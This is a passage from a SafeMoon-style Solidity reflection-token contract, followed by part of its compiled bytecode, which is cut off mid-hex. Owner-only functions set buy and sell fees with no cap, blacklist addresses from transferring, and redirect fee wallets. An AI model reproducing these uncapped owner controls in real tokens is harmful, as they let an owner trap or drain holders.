_getRate(); return rAmount.div(currentRate); } function updateMarketingWallet(address payable newAddress) external onlyOwner { _marketingAddress = newAddress; } function updateDevWallet(address payable newAddress) external onlyOwner { _devwallet = newAddress; } function updateExchangeWallet(address newAddress) external onlyOwner { _exchangewallet = newAddress; } function updatePartnershipsWallet(address newAddress) external onlyOwner { _partnershipswallet = newAddress; } function addBotToBlacklist(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, "We cannot blacklist UniSwap router" ); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlacklist(address account) external onlyOwner { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[ _blackListedBots.length - 1 ]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = true; } function includeInLimit(address account) public onlyOwner { _isExcludedFromLimit[account] = false; } function setSellFee( uint16 tax, uint16 liquidity, uint16 marketing, uint16 dev, uint16 donation ) external onlyOwner { sellFee.tax = tax; sellFee.marketing = marketing; sellFee.liquidity = liquidity; sellFee.dev = dev; sellFee.donation = donation; } function setBuyFee( uint16 tax, uint16 liquidity, uint16 marketing, uint16 dev, uint16 donation ) external onlyOwner { buyFee.tax = tax; buyFee.marketing = marketing; buyFee.liquidity = liquidity; buyFee.dev = dev; buyFee.donation = donation; } function setBothFees( uint16 buy_tax, uint16 buy_liquidity, uint16 buy_marketing, uint16 buy_dev, uint16 buy_donation, uint16 sell_tax, uint16 sell_liquidity, uint16 sell_marketing, uint16 sell_dev, uint16 sell_donation ) external onlyOwner { buyFee.tax = buy_tax; buyFee.marketing = buy_marketing; buyFee.liquidity = buy_liquidity; buyFee.dev = buy_dev; buyFee.donation = buy_donation; sellFee.tax = sell_tax; sellFee.marketing = sell_marketing; sellFee.liquidity = sell_liquidity; sellFee.dev = sell_dev; sellFee.donation = sell_donation; } function setNumTokensSellToAddToLiquidity(uint256 numTokens) external onlyOwner { numTokensSellToAddToLiquidity = numTokens; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); } function _setMaxWalletSizePercent(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tWallet = calculateMarketingFee(tAmount) + calculateDevFee(tAmount); uint256 tDonation = calculateDonationFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); tTransferAmount = tTransferAmount.sub(tWallet); tTransferAmount = tTransferAmount.sub(tDonation); return (tTransferAmount, tFee, tLiquidity, tWallet, tDonation); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rWallet = tWallet.mul(currentRate); uint256 rDonation = tDonation.mul(currentRate); uint256 rTransferAmount = rAmount .sub(rFee) .sub(rLiquidity) .sub(rWallet) .sub(rDonation); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeWalletFee(uint256 tWallet) private { uint256 currentRate = _getRate(); uint256 rWallet = tWallet.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rWallet); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tWallet); } function _takeDonationFee(uint256 tDonation) private { uint256 currentRate = _getRate(); uint256 rDonation = tDonation.mul(currentRate); _rOwned[_donationAddress] = _rOwned[_donationAddress].add(rDonation); if (_isExcluded[_donationAddress]) _tOwned[_donationAddress] = _tOwned[_donationAddress].add( tDonation ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**2); } function calculateDonationFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_donationFee).div(10**2); } function calculateDevFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_devFee).div(10**2); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; _donationFee = 0; _devFee = 0; } function setBuy() private { _taxFee = buyFee.tax; _liquidityFee = buyFee.liquidity; _marketingFee = buyFee.marketing; _donationFee = buyFee.donation; _devFee = buyFee.dev; } function setSell() private { _taxFee = sellFee.tax; _liquidityFee = sellFee.liquidity; _marketingFee = sellFee.marketing; _donationFee = sellFee.donation; _devFee = sellFee.dev; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isExcludedFromLimit(address account) public view returns (bool) { return _isExcludedFromLimit[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[from], "You are blacklisted"); require(!_isBlackListedBot[msg.sender], "blacklisted"); require(!_isBlackListedBot[tx.origin], "blacklisted"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (takeFee) { if (!_isExcludedFromLimit[from] && !_isExcludedFromLimit[to]) { require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (to != uniswapV2Pair) { require( amount + balanceOf(to) <= _maxWalletSize, "Recipient exceeds max wallet size." ); } } } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap { // Split the contract balance into halves uint256 denominator = (buyFee.liquidity + sellFee.liquidity + buyFee.marketing + sellFee.marketing + buyFee.dev + sellFee.dev) * 2; uint256 tokensToAddLiquidityWith = (tokens * (buyFee.liquidity + sellFee.liquidity)) / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - (buyFee.liquidity + sellFee.liquidity)); uint256 bnbToAddLiquidityWith = unitBalance * (buyFee.liquidity + sellFee.liquidity); if (bnbToAddLiquidityWith > 0) { // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } // Send ETH to marketing uint256 marketingAmt = unitBalance * 2 * (buyFee.marketing + sellFee.marketing); uint256 devAmt = unitBalance * 2 * (buyFee.dev + sellFee.dev) > address(this).balance ? address(this).balance : unitBalance * 2 * (buyFee.dev + sellFee.dev); if (marketingAmt > 0) { payable(_marketingAddress).transfer(marketingAmt); } if (devAmt > 0) { _devwallet.transfer(devAmt); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (takeFee) { removeAllFee(); if (sender == uniswapV2Pair) { setBuy(); } if (recipient == uniswapV2Pair) { setSell(); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } removeAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeDonationFee(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106103395760003560e01c80635342acb4116101ab578063af2ce614116100f7578063d94160e011610095578063ea2f0b371161006f578063ea2f0b3714610a85578063ec034bed14610aa5578063f0f165af14610ac3578063f2fde38b14610ae357600080fd5b8063d94160e0146109e6578063dd46706414610a1f578063dd62ed3e14610a3f57600080fd5b8063be83c38f116100d1578063be83c38f14610966578063c49b9a8014610986578063caac7934146109a6578063d543dbeb146109c657600080fd5b8063af2ce61414610911578063b030b34a14610931578063b6c523241461095157600080fd5b80638f9a55c011610164578063a457c2d71161013e578063a457c2d71461089c578063a69df4b5146108bc578063a9059cbb146108d1578063aacebbe3146108f157600080fd5b80638f9a55c01461085157806391d919a91461086757806395d89b411461088757600080fd5b80635342acb41461077657806370a08231146107af578063715018a6146107cf5780637d1db4a5146107e457806388f82020146107fa5780638da5cb5b1461083357600080fd5b8063313ce56711610285578063469629a9116102235780634a74bb02116101fd5780634a74bb02146106f55780634cfd4a921461071657806350aa29771461073657806352390c021461075657600080fd5b8063469629a91461065d578063470624021461067d57806349bd5a5e146106c157600080fd5b80633bd5d1731161025f5780633bd5d173146105dd5780633e3d26f9146105fd578063437823ec1461061d5780634549b0391461063d57600080fd5b8063313ce5671461057b5780633685d4191461059d57806339509351146105bd57600080fd5b806318160ddd116102f25780631d7ef879116102cc5780631d7ef879146104a257806323b872dd146104c25780632b14ca56146104e25780632d8381191461055b57600080fd5b806318160ddd1461044d5780631816467f146104625780631c4a78ef1461048257600080fd5b806306fdde0314610345578063095ea7b3146103705780630bd3a7f9146103a057806313114a9d146103c25780631465d929146103e15780631694505e1461040157600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a610b03565b60405161036791906135ff565b60405180910390f35b34801561037c57600080fd5b5061039061038b36600461366c565b610b95565b6040519015158152602001610367565b3480156103ac57600080fd5b506103c06103bb366004613698565b610bac565b005b3480156103ce57600080fd5b50600e545b604051908152602001610367565b3480156103ed57600080fd5b506103c06103fc3660046136cc565b610c03565b34801561040d57600080fd5b506104357f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610367565b34801561045957600080fd5b50600c546103d3565b34801561046e57600080fd5b506103c061047d366004613698565b610c9f565b34801561048e57600080fd5b50601054610435906001600160a01b031681565b3480156104ae57600080fd5b506103c06104bd366004613698565b610ceb565b3480156104ce57600080fd5b506103906104dd366004613731565b610e5c565b3480156104ee57600080fd5b506018546105269061ffff80821691620100008104821691600160201b8204811691600160301b8104821691600160401b9091041685565b6040805161ffff968716815294861660208601529285169284019290925283166060830152909116608082015260a001610367565b34801561056757600080fd5b506103d3610576366004613772565b610ec5565b34801561058757600080fd5b5060165460405160ff9091168152602001610367565b3480156105a957600080fd5b506103c06105b8366004613698565b610f49565b3480156105c957600080fd5b506103906105d836600461366c565b611100565b3480156105e957600080fd5b506103c06105f8366004613772565b611136565b34801561060957600080fd5b506103c0610618366004613698565b611244565b34801561062957600080fd5b506103c0610638366004613698565b611290565b34801561064957600080fd5b506103d361065836600461379b565b6112de565b34801561066957600080fd5b506103c06106783660046137c7565b611381565b34801561068957600080fd5b506017546105269061ffff80821691620100008104821691600160201b8204811691600160301b8104821691600160401b9091041685565b3480156106cd57600080fd5b506104357f000000000000000000000000777e5395280a987ec0c89fc13bd7140611bc5ac781565b34801561070157600080fd5b5060195461039090600160581b900460ff1681565b34801561072257600080fd5b506103c06107313660046136cc565b6114f7565b34801561074257600080fd5b506103c0610751366004613698565b611593565b34801561076257600080fd5b506103c0610771366004613698565b6115df565b34801561078257600080fd5b50610390610791366004613698565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156107bb57600080fd5b506103d36107ca366004613698565b611732565b3480156107db57600080fd5b506103c0611791565b3480156107f057600080fd5b506103d3601a5481565b34801561080657600080fd5b50610390610815366004613698565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561083f57600080fd5b506000546001600160a01b0316610435565b34801561085d57600080fd5b506103d3601c5481565b34801561087357600080fd5b506103c0610882366004613698565b6117f3565b34801561089357600080fd5b5061035a61183e565b3480156108a857600080fd5b506103906108b736600461366c565b61184d565b3480156108c857600080fd5b506103c061189c565b3480156108dd57600080fd5b506103906108ec36600461366c565b6119b3565b3480156108fd57600080fd5b506103c061090c366004613698565b6119c0565b34801561091d57600080fd5b506103c061092c366004613772565b611a0c565b34801561093d57600080fd5b506103c061094c366004613698565b611a5d565b34801561095d57600080fd5b506002546103d3565b34801561097257600080fd5b50601154610435906001600160a01b031681565b34801561099257600080fd5b506103c06109a1366004613881565b611be1565b3480156109b257600080fd5b50600f54610435906001600160a01b031681565b3480156109d257600080fd5b506103c06109e1366004613772565b611c63565b3480156109f257600080fd5b50610390610a01366004613698565b6001600160a01b03166000908152600a602052604090205460ff1690565b348015610a2b57600080fd5b506103c0610a3a366004613772565b611cae565b348015610a4b57600080fd5b506103d3610a5a36600461389c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610a9157600080fd5b506103c0610aa0366004613698565b611d33565b348015610ab157600080fd5b506013546001600160a01b0316610435565b348015610acf57600080fd5b506103c0610ade366004613772565b611d7e565b348015610aef57600080fd5b506103c0610afe366004613698565b611dad565b606060148054610b12906138d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3e906138d5565b8015610b8b5780601f10610b6057610100808354040283529160200191610b8b565b820191906000526020600020905b815481529060010190602001808311610b6e57829003601f168201915b5050505050905090565b6000610ba2338484611e85565b5060015b92915050565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b8152600401610bd690613910565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19166001179055565b6000546001600160a01b03163314610c2d5760405162461bcd60e51b8152600401610bd690613910565b6017805461ffff928316600160401b0261ffff60401b19948416600160301b0261ffff60301b1997851662010000029790971667ffff0000ffff000019968516600160201b0265ffff0000ffff1990931694909816939093171793909316949094179290921791909116919091179055565b6000546001600160a01b03163314610cc95760405162461bcd60e51b8152600401610bd690613910565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d155760405162461bcd60e51b8152600401610bd690613910565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0382161415610d8d5760405162461bcd60e51b815260206004820152602260248201527f57652063616e6e6f7420626c61636b6c69737420556e695377617020726f757460448201526132b960f11b6064820152608401610bd6565b6001600160a01b03811660009081526009602052604090205460ff1615610df65760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610bd6565b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b6000610e69848484611fa9565b610ebb8433610eb685604051806060016040528060288152602001613b1f602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190612422565b611e85565b5060019392505050565b6000600d54821115610f2c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610bd6565b6000610f3661245c565b9050610f42838261247f565b9392505050565b6000546001600160a01b03163314610f735760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03811660009081526007602052604090205460ff16610fdb5760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610bd6565b60005b6008548110156110fc57816001600160a01b03166008828154811061100557611005613945565b6000918252602090912001546001600160a01b031614156110ea576008805461103090600190613971565b8154811061104057611040613945565b600091825260209091200154600880546001600160a01b03909216918390811061106c5761106c613945565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff1916905560088054806110c4576110c4613988565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806110f48161399e565b915050610fde565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610ba2918590610eb690866124c1565b3360008181526007602052604090205460ff16156111ab5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610bd6565b6000806000806111ba86612520565b94509450945094505060006111da87868686866111d561245c565b6125af565b50506001600160a01b0387166000908152600360205260409020549091506112029082612623565b6001600160a01b038716600090815260036020526040902055600d546112289082612623565b600d55600e5461123890886124c1565b600e5550505050505050565b6000546001600160a01b0316331461126e5760405162461bcd60e51b8152600401610bd690613910565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112ba5760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600c548311156113325760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610bd6565b60008060008061134187612520565b94509450945094505060008061135d89878787876111d561245c565b50915091508761137457509450610ba69350505050565b9550610ba6945050505050565b6000546001600160a01b031633146113ab5760405162461bcd60e51b8152600401610bd690613910565b89601760000160006101000a81548161ffff021916908361ffff16021790555087601760000160046101000a81548161ffff021916908361ffff16021790555088601760000160026101000a81548161ffff021916908361ffff16021790555086601760000160066101000a81548161ffff021916908361ffff16021790555085601760000160086101000a81548161ffff021916908361ffff16021790555084601860000160006101000a81548161ffff021916908361ffff16021790555082601860000160046101000a81548161ffff021916908361ffff16021790555083601860000160026101000a81548161ffff021916908361ffff16021790555081601860000160066101000a81548161ffff021916908361ffff16021790555080601860000160086101000a81548161ffff021916908361ffff16021790555050505050505050505050565b6000546001600160a01b031633146115215760405162461bcd60e51b8152600401610bd690613910565b6018805461ffff928316600160401b0261ffff60401b19948416600160301b0261ffff60301b1997851662010000029790971667ffff0000ffff000019968516600160201b0265ffff0000ffff1990931694909816939093171793909316949094179290921791909116919091179055565b6000546001600160a01b031633146115bd5760405162461bcd60e51b8152600401610bd690613910565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116095760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03811660009081526007602052604090205460ff16156116725760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610bd6565b6001600160a01b038116600090815260036020526040902054156116cc576001600160a01b0381166000908152600360205260409020546116b290610ec5565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561176f57506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610ba690610ec5565b6000546001600160a01b031633146117bb5760405162461bcd60e51b8152600401610bd690613910565b600080546040516001600160a01b0390911690600080516020613b47833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461181d5760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b606060158054610b12906138d5565b6000610ba23384610eb685604051806060016040528060258152602001613b67602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190612422565b6001546001600160a01b031633146119025760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610bd6565b60025442116119615760405162461bcd60e51b815260206004820152602560248201527f436f6e7472616374206973206c6f636b656420756e74696c2061206c61746572604482015264206461746560d81b6064820152608401610bd6565b600154600080546040516001600160a01b039384169390911691600080516020613b4783398151915291a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000610ba2338484611fa9565b6000546001600160a01b031633146119ea5760405162461bcd60e51b8152600401610bd690613910565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611a365760405162461bcd60e51b8152600401610bd690613910565b611a576103e8611a5183600c5461266590919063ffffffff16565b9061247f565b601c5550565b6000546001600160a01b03163314611a875760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03811660009081526009602052604090205460ff16611aef5760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610bd6565b60005b600b548110156110fc57816001600160a01b0316600b8281548110611b1957611b19613945565b6000918252602090912001546001600160a01b03161415611bcf57600b8054611b4490600190613971565b81548110611b5457611b54613945565b600091825260209091200154600b80546001600160a01b039092169183908110611b8057611b80613945565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600990915260409020805460ff19169055600b8054806110c4576110c4613988565b80611bd98161399e565b915050611af2565b6000546001600160a01b03163314611c0b5760405162461bcd60e51b8152600401610bd690613910565b60198054821515600160581b0260ff60581b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611c5890831515815260200190565b60405180910390a150565b6000546001600160a01b03163314611c8d5760405162461bcd60e51b8152600401610bd690613910565b611ca86103e8611a5183600c5461266590919063ffffffff16565b601a5550565b6000546001600160a01b03163314611cd85760405162461bcd60e51b8152600401610bd690613910565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611d0781426139b9565b600255600080546040516001600160a01b0390911690600080516020613b47833981519152908390a350565b6000546001600160a01b03163314611d5d5760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611da85760405162461bcd60e51b8152600401610bd690613910565b601b55565b6000546001600160a01b03163314611dd75760405162461bcd60e51b8152600401610bd690613910565b6001600160a01b038116611e3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bd6565b600080546040516001600160a01b0380851693921691600080516020613b4783398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ee75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bd6565b6001600160a01b038216611f485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bd6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661200d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610bd6565b6001600160a01b03821661206f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610bd6565b600081116120d15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610bd6565b6001600160a01b03831660009081526009602052604090205460ff16156121305760405162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b6044820152606401610bd6565b3360009081526009602052604090205460ff161561217e5760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b6044820152606401610bd6565b3260009081526009602052604090205460ff16156121cc5760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b6044820152606401610bd6565b60006121d730611732565b9050601a5481106121e75750601a545b601b54811080159081906122055750601954600160501b900460ff16155b801561224357507f000000000000000000000000777e5395280a987ec0c89fc13bd7140611bc5ac76001600160a01b0316856001600160a01b031614155b80156122585750601954600160581b900460ff165b1561226b57601b54915061226b826126e4565b6001600160a01b03851660009081526006602052604090205460019060ff16806122ad57506001600160a01b03851660009081526006602052604090205460ff165b156122b6575060005b801561240e576001600160a01b0386166000908152600a602052604090205460ff161580156122fe57506001600160a01b0385166000908152600a602052604090205460ff16155b1561240e57601a548411156123665760405162461bcd60e51b815260206004820152602860248201527f5472616e